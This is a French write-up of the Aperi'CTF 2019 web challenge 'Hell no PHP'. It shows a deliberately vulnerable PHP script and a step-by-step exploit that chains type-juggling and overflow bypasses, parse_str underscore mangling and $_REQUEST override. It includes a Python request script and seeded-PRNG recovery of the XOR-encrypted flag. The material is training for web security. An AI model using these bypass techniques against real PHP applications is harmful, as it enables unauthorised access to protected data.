Aperi’CTF 2019 - Hell no PHP
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | Hell no PHP | Web | 250 | 5 |
Nous avons retrouvé un fichier “Lo7ef4fBi92x3p/index.php” sur le site web d’un client.
D’après nos informations, il s’agirait d’une backdoor permettant d’accéder au fichier flag.php.
Investiguez et trouvez comment cette backdoor peut être exploitée.
https://hell-no-php.aperictf.fr
Méthodologie
Lorsque l’on arrive sur le site web, on nous sert un code PHP :
<?php
show_source(__FILE__);
require_once("flag.php"); // $FLAG;
$FINAL = "";
$i = 0xFF;
$c = (((@$_GET['Ape'] == '003e2') && (sizeof(@$_GET['Ape']) !== 5)) &&
(((intval(@$_GET['ape']['ri']) == '9223372036854775807') && (@$_GET['ape']['ri'] != 9223372036854775807))||
((intval(@$_GET['ape']['ri']) == '2147483647') && (@$_GET['ape']['ri'] != 2147483647))));
$c = $c and false;
$i ^= $c ? 0x57 : 0x75;
if ($i%138 && !srand($_GET['Ape'])){
if(!@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)){
$FLAG = str_split($FLAG);
for($i=0;$i<sizeof($FLAG);$i++){
if (isset($_GET["petitkube"]) && $_GET["petitkube"] !== "ape"){
$FINAL .= (ord($FLAG[$i])^rand(13,37));
}
}
}
}
if (!((strpos($_GET['kube'], '_') !== false) || (strpos($_GET['kube'], '%5f') !== false))){
parse_str($_GET['kube'],$p);
if((sha1($FINAL) === "8183f431f1be02bb137b5e42d524a5e796526777") &&
($p['peri_kube'] == "kube") &&
($_REQUEST['petitkube'] === "ape")){
echo($FINAL);
}
}
if (isset($_GET['version'])){
phpinfo(1);
}
?>
En regardant la fin du code, on peut afficher la version de PHP du site web en ajoutant /?version à la fin de l’URL.
On a un PHP 5.3. Maintenant, regardons l’objectif : le $FLAG n’est pas directement affiché par le script mais il est utilisé par $FINAL qui est affiché à la fin du script sous conditions.
Condition 1
La première condition est if ($i%138). Si $c vaut True, alors $i = 0xff^0x57 = 168 (et 168%138 est True). Si $c vaut False, alors $i = 0xff^0x75 = 138 (et 138%138 est False). On doit forcer $c à True. Regardons maintenant $c :
<?php
$c = (((@$_GET['Ape'] == '003e2') && (sizeof(@$_GET['Ape']) !== 5)) &&
(((intval(@$_GET['ape']['ri']) == '9223372036854775807') && (@$_GET['ape']['ri'] != 9223372036854775807))||
((intval(@$_GET['ape']['ri']) == '2147483647') && (@$_GET['ape']['ri'] != 2147483647))));
$c = $c and false;
?>
Ici, on a 2 conditions contradictoires :
- La première demande à
$_GET['Ape']d’être égal (==) à'003e2'et de ne pas faire 5 caractères de long. - La seconde demande à l’intvalue de
$_GET['ape']['ri']d’être égale (==) à'9223372036854775807'mais sa valeur ne doit pas être égale (!=) à9223372036854775807(ou de satisfaire la même condition pour2147483647).
Le premier bypass consiste à entrer la valeur numérique pour $_GET['Ape'] : 300. Le second bypass est un integer overflow. Si on définit $_GET['ape']['ri'] à 100000000000000000000000000000, on peut bypasser la condition.
Pour le moment, on a l’URL suivante : /?Ape=300&ape[ri]=100000000000000000000000000000.
On peut aussi remarquer que lorsque l’on écrit $c = $c and false;, alors $c reste true (ça ne fonctionne pas avec && à la place de and).
Condition 2
Dans ce bloc, on passe déjà la première ligne avec $i%138. On remarque qu’une valeur de seed (300) est affectée à srand.
<?php
if ($i%138 && !srand($_GET['Ape'])){
if(!@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)){
$FLAG = str_split($FLAG);
for($i=0;$i<sizeof($FLAG);$i++){
if (isset($_GET["petitkube"]) && $_GET["petitkube"] !== "ape"){
$FINAL .= (ord($FLAG[$i])^rand(13,37));
}
}
}
}
?>
La seconde condition est !@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0). Pour satisfaire cette condition, il suffit que $_GET['a']['pe']['ri']['kube'] soit défini : /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=. Le flag est alors découpé (split). Une nouvelle condition $_GET["petitkube"] !== "ape" est requise pour chiffrer le flag. Définissons-la à une valeur aléatoire (par exemple x) :
/?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x.
Notre flag est maintenant chiffré avec du xor et des données aléatoires (prédictibles grâce au seed).
Conditions 3
C’est le dernier bloc de conditions.
<?php
if (!((strpos($_GET['kube'], '_') !== false) || (strpos($_GET['kube'], '%5f') !== false))){
parse_str($_GET['kube'],$p);
if((sha1($FINAL) === "8183f431f1be02bb137b5e42d524a5e796526777") &&
($p['peri_kube'] == "kube") &&
($_REQUEST['petitkube'] === "ape")){
echo($FINAL);
}
}
?>
Les conditions disent que l’on ne doit avoir aucun underscore ni underscore urlencodé dans la variable $_GET['kube']. Cependant, parse_str est utilisé pour extraire $_GET['kube'] dans $p. Et $p doit avoir une clé peri_kube qui contient un underscore ! D’après ce commentaire, beaucoup de caractères comme . sont remplacés par un underscore dans ce contexte. On peut construire notre requête avec kube=peri.kube=kube pour satisfaire cette condition.
Il y a une autre condition : $_REQUEST['petitkube'] === "ape". Cela est en contradiction avec $_GET["petitkube"] !== "ape" mais on peut contourner ce cas puisque $_REQUEST prend à la fois les données POST et GET. On peut écraser la valeur REQUEST avec des données POST. Notre url est maintenant /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x&kube=peri.kube=kube et nos données post sont petitkube=ape.
Maintenant, construisons notre requête :
# -*- coding:utf-8 -*-
import requests
URL = "http://hell-no-php.aperictf.fr/"
GET = "Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x&kube=peri.kube=kube"
POST = {"petitkube":"ape"}
r = requests.post(URL+"?"+GET,data=POST).text.split("</code>")[1]
print(r)
Sortie : 88716582101901137399120369310611730501298.
Crypto
Maintenant, on doit déchiffrer le flag. Puisque l’on a le seed et que l’on sait comment le flag est chiffré, on sait qu’il est composé de caractères xorés. Calculons la clé en utilisant la bonne version de PHP. On va calculer une liste de valeurs aléatoires utilisées comme clé :
<?php
srand(300);
for($i=0;$i<50;$i++){
echo(rand(13,37).",");
}
?>
Sortie : [25,23,19,25,30,18,20,37,15,22,20,13,34,37,36,21,36,31,23,13,16,18,20,19,21,19,22,15,18,14,32,30,24,13,18,17,19,25,16,22,34,24,23,30,24,22,14,22,15,25]
Essayons maintenant de séparer les caractères xorés et de les xorer :
randomint = [25,23,19,25,30,18,20,37,15,22,20,13,34,37,36,21,36,31,23,13,16,18,20,19,21,19,22,15,18,14,32,30,24,13,18,17,19,25,16,22,34,24,23,30,24,22,14,22,15,25]
# Separate integers by hand
r = [88,71,65,82,101,90,113,73,99,120,36,93,106,117,30,50,12,98]
flag = ""
for a,b in zip(r,randomint):
flag += chr(a^b)
print("Flag: "+flag)
Sortie : Flag: APRK{Helln0PHP:'(}
Flag
APRK{Helln0PHP:'(}